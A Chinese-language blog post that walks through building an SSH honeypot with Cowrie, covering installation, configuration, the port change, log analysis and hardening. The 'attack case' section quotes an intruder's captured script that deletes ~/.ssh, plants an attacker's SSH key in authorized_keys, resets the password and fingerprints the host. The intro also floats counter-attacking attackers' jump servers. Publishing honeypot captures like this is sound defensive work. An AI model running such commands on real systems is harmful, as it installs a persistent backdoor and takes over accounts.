2024-10-21
计算机网络
0

目录

1. 安装依赖
2. 创建虚拟环境并安装 Cowrie
3. 配置 Cowrie
4. 将真实 SSH 服务移动到其他端口(可选)
5. 启动 Cowrie
6. 监控和分析攻击者行为
7. 加强蜜罐安全
总结
攻击案例
补充(todo)

前言:自己的服务器ip隶属于公网ip,从地球上任何一个互联网角落都可以访问。这也导致了无数的脚本小子用爬虫结合弱口令爆破服务器。为了避免服务器被爆破,有很多方式,比如fail2ban封锁ip,或者最近比较流行的f2a验证方式,亦或者关闭密码登陆采用密钥登陆。然而这些方式都是被动防御,本文将介绍一种“赛博草船借箭”的方法用来薅黑客的羊毛:即搭建ssh蜜罐。将黑客的攻击ip,操作命令和密码记录下来,甚至可以反向攻击跳板服务器。

制作一个 SSH 蜜罐是一种常见的安全策略,用来检测并记录恶意攻击者的行为。一个简单的方法是使用现成的蜜罐工具,比如 Cowrie。这是一个非常流行的 SSH/Telnet 蜜罐,可以记录攻击者的每一步操作。

下面是使用 Cowrie 在 Linux 上搭建 SSH 蜜罐的步骤:

1. 安装依赖

首先,确保系统安装了所需的依赖:

bash
sudo apt-get update sudo apt-get install python3-virtualenv git libssl-dev libffi-dev build-essential python3-dev

2. 创建虚拟环境并安装 Cowrie

进入你想安装 Cowrie 的目录,然后克隆 Cowrie 的 GitHub 仓库:

bash
git clone https://github.com/cowrie/cowrie.git cd cowrie

接着,创建一个 Python 虚拟环境并激活它:

bash
virtualenv cowrie-env source cowrie-env/bin/activate

然后安装 Cowrie 的 Python 依赖:

bash
pip install --upgrade pip pip install -r requirements.txt

3. 配置 Cowrie

Cowrie 的默认配置文件位于 cowrie.cfg.dist。你需要复制并重命名为 cowrie.cfg

bash
cp etc/cowrie.cfg.dist etc/cowrie.cfg

编辑 etc/cowrie.cfg 文件,根据需要修改 SSH 蜜罐的配置。常见的修改项包括:

  • 端口配置:默认情况下,Cowrie 会监听 2222 端口。如果你想让它监听 22 端口(标准 SSH 端口),你需要将 Cowrie 配置为监听 22 端口,并将实际的 SSH 服务移动到另一个端口(例如 2222),以避免冲突。

    在配置文件中找到这一行:

    listen_endpoints = tcp:2222:interface=0.0.0.0

    改成:

    listen_endpoints = tcp:22:interface=0.0.0.0
  • 日志配置:Cowrie 记录所有交互行为,包括攻击者尝试执行的命令。你可以在 cowrie.cfg 中配置日志的存储位置。

4. 将真实 SSH 服务移动到其他端口(可选)

如果你希望 Cowrie 监听 22 端口,你需要将真实的 SSH 服务移动到其他端口。编辑 SSH 配置文件 /etc/ssh/sshd_config

bash
sudo nano /etc/ssh/sshd_config

找到 Port 22,并将其更改为另一个端口(例如 2222):

bash
Port 2222

保存并重新启动 SSH 服务:

bash
sudo systemctl restart ssh

5. 启动 Cowrie

启动 Cowrie 蜜罐:

bash
bin/cowrie start

你可以使用以下命令来检查 Cowrie 的运行状态:

bash
bin/cowrie status

停止 Cowrie:

bash
bin/cowrie stop

6. 监控和分析攻击者行为

Cowrie 会记录所有的攻击行为,包括攻击者尝试的用户名、密码,以及成功登录后的所有命令。你可以在 log/ 文件夹中找到这些日志文件。常见的日志文件包括:

  • cowrie.log:运行时的详细日志。
  • tty/:保存攻击者执行的每个命令的详细交互。

你还可以将 Cowrie 配置为将日志发送到远程服务器进行集中管理和分析。

7. 加强蜜罐安全

为了确保攻击者不会破坏你的蜜罐,可以考虑以下措施:

  • 将蜜罐隔离在专用网络中,限制其访问权限。
  • 使用防火墙规则控制蜜罐的网络流量。
  • 定期监控并更新蜜罐软件以修复潜在的安全漏洞。

总结

通过安装并配置 Cowrie,你可以轻松地搭建一个 SSH 蜜罐,记录并分析攻击者的行为。这种蜜罐能够帮助你发现潜在的安全威胁并研究攻击模式。

攻击案例

这里放一个别人上传到蜜罐中的执行脚本:

bash
cd ~; chattr -ia .ssh; lockr -ia .ssh cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ cat /proc/cpuinfo | grep name | wc -l echo -e "123456\nVvxRjniPhAHI\nVvxRjniPhAHI"|passwd|bash Enter new UNIX password: echo "123456\nVvxRjniPhAHI\nVvxRjniPhAHI\n"|passwd cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ls -lh $(which ls) which ls crontab -l w uname -m cat /proc/cpuinfo | grep model | grep name | wc -l top uname uname -a whoami lscpu | grep Model df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

补充(todo)

1.22端口无法直接启动蜜罐,需要用iptables转发 2.除了使用cowrie的ssh蜜罐,还可以使用一些成熟的蜜罐框架,不但有ssh蜜罐还有其他类型的蜜罐,比如wordpress的蜜罐,这里推荐Hfish

本文作者:James

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!